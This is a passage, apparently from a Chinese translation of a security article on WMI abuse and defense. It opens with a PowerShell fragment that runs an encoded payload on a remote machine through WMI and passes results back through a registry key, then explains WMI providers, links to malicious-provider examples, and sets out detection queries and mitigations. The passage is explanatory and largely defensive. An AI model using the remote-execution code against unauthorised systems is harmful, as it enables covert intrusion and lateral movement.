$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
'@

$EncodedPayload =[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"

# Invoke PowerShell payload
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload

# Pull the serialized results back
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'
$EncodedOutput = $RemoteOutput.sValue

# Deserialize and display the result of the command executed on the remote system
$DeserializedOutput =[Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))

WMI Providers(提供者)

WMI提供者是WMI的主干。几乎所有的WMI类及其提供的方法都是通过提供者实现的。一个提供者就是一个用户态下的COM DLL或内核驱动。每一个提供者都在注册表中有对应的CLSID,用来做COM ResolutionCOM的方案。所有的注册的提供者都有与之相应的__Win32Provider的一个WMI类。例如,下面是来用处理注册表操作的已注册的WMI提供者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PSComputerName   :



PS C:\Users\Michael> Get-CimInstance -Namespace root\cimv2 -ClassName __Win32Provider -Filter 'Name="RegistryEventProvid
er"'


Name : RegistryEventProvider
ClientLoadableCLSID :
CLSID : {fa77a74e-e109-11d0-ad6e-00c04fd8fdff}
Concurrency :
DefaultMachineName :
Enabled :
HostingModel : LocalSystemHost
ImpersonationLevel : 0
InitializationReentrancy : 0
InitializationTimeoutInterval :
InitializeAsAdminFirst :
OperationTimeoutInterval :
PerLocaleInitialization : False
PerUserInitialization : False
Pure : True
SecurityDescriptor :
SupportsExplicitShutdown :
SupportsExtendedStatus :
SupportsQuotas :
SupportsSendStatus :
SupportsShutdown :
SupportsThrottling :
UnloadTimeout :
Version :
PSComputerName :

可以通过查看下面的注册表值来找到与RegistryEventProvider提供者相关的DLL文件:
HKEY_CLASSES_ROOT\CLSID\{fa77a74e-e109-11d0-ad6e-00c04fd8fdff}\InprocServer32 - (Default)

使用PowerShell可以枚举已注册的提供者的DLL信息。

恶意WMI Providers(提供者)

就像合法的WMI提供者可以为用户提供一些功能一样,恶意的WMI提供者也可以被用来拓展WMI的功能。

Casey和Jared Atkinson都给分享了一些利用恶意WMI提供者来执行代码的PowerShell脚本的例子。
[EvilWMIProvider][1]
[1]: https://github.com/subTee/EvilWMIProviderhttps://github.com/subTee/EvilWMIProvider"
[EvilNetConnectionWMIProvider][2]
[2]:https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider

WMI 防御

已有的检测工具

使用这些工具的不好之处就是它们只能检测到在某个时间 点上的WMI持久化。一些攻击者会在完成操作之后将持久化代码清除。当然,使用永久性WMI订阅来对付攻击者也能让我们即时抓住使用WMI做的持久化行为。

检测WMI持久化行为也不难。下面的PowerShell脚本就可以查询远程系统中所有的持久化的项。

1
2
3
4
5
6
7
8
$Arguments = @{
Credential = 'WIN-B85AAA7ST4U\Administrator'
ComputerName = '192.168.72.135'
Namespace = 'root\subscription'
}
Get-WmiObject -Class __FilterToConsumerBinding @Arguments
Get-WmiObject -Class __EventFilter @Arguments
Get-WmiObject -Class __EventConsumer @Arguments

利用WMI检测WMI攻击

通过WMI提供的强大的事件系统,WMI可以被当作Microsoft免费提供给我们的IDS。由于基本所有的系统行为都可以引发一个WMI事件,所以WMI的确可以用来检测攻击行为。下面列举几个应对方法:

  • 攻击者使用WMI做持久化时:

  • __EventFilter__EventConsumer__FilterToConsumerBinding的实例会被创建。一个__InstanceCreationEvent事件被触发。

  • 当WMI被用做C2时:

  • __Namespace对象实例会被创建和修改,结果是__NamespaceCreationEvent__NamespaceModificationEvent事件被触发。

  • 通过WMI类存储数据时:

    • __ClassCreationEvent事件被触发。
  • 攻击者安装WMI提供者时:

    • 一个__Provider类的实例被创建,__InstanceCreationEvent事件被触发。
  • 攻击者使用开始菜单或注册表做持久化时:

  • 一个Win32_StartupCommand类的实例被创建,__InstanceCreationEvent事件被触发。

  • 攻击者使用其它注册表值做持久化时:

    • RegistrykeyChangeEventRegistryValueChangeEvent事件被触发。
  • 当攻击者安装服务时:

  • 一个Win32_Service实例被创建,__InstanceCreationEvent事件被触发。

所有的攻击行为和产生的效果都可以通过WMI事件查询显示出来。把这些方法结合起来,防御者其实也可以有很大的发挥空间来应对这些攻击。

这些技术不好的地方就是,可以你得会使用VBScript编程,另外,对WMI攻击技术比较了解的人来说,它们可以在攻击之前会先把防御者所设置的防御措施删除。跟猫和老鼠的游戏一样。然而,删除需要管理权限,所以攻击者还是处于相对劣势的。最后作为防御者来说,还有一个好的办法防止攻击者删除我们的事件订阅,那就是注册并订阅__EventFilter__EventConsumer__FilterToConsumerBinding对象的__InstanceDeletionEvent事件。

缓解措施

除了设置防御性的WMI事件订阅,还有一些其他缓解措施:

  • 考虑禁用WMI服务。不过Windows系统越来越多的依赖WMI和WinRM来管理,禁用时务必弄清影响范围及可行性。
  • 考虑限制WMI协议端口。如果不需要远程使用WMI的话,可以把DCOM配置为单端口并限制该端口。这个比禁用WMI更实际一些。
  • WMI、DCOM和WinRM事件的事件日志保存在:
  • Microsoft-Windows-WinRM/Operational
  • Microsoft-Windows-WMI-Activity/Operational
  • Microsoft-Windows-DistributedCom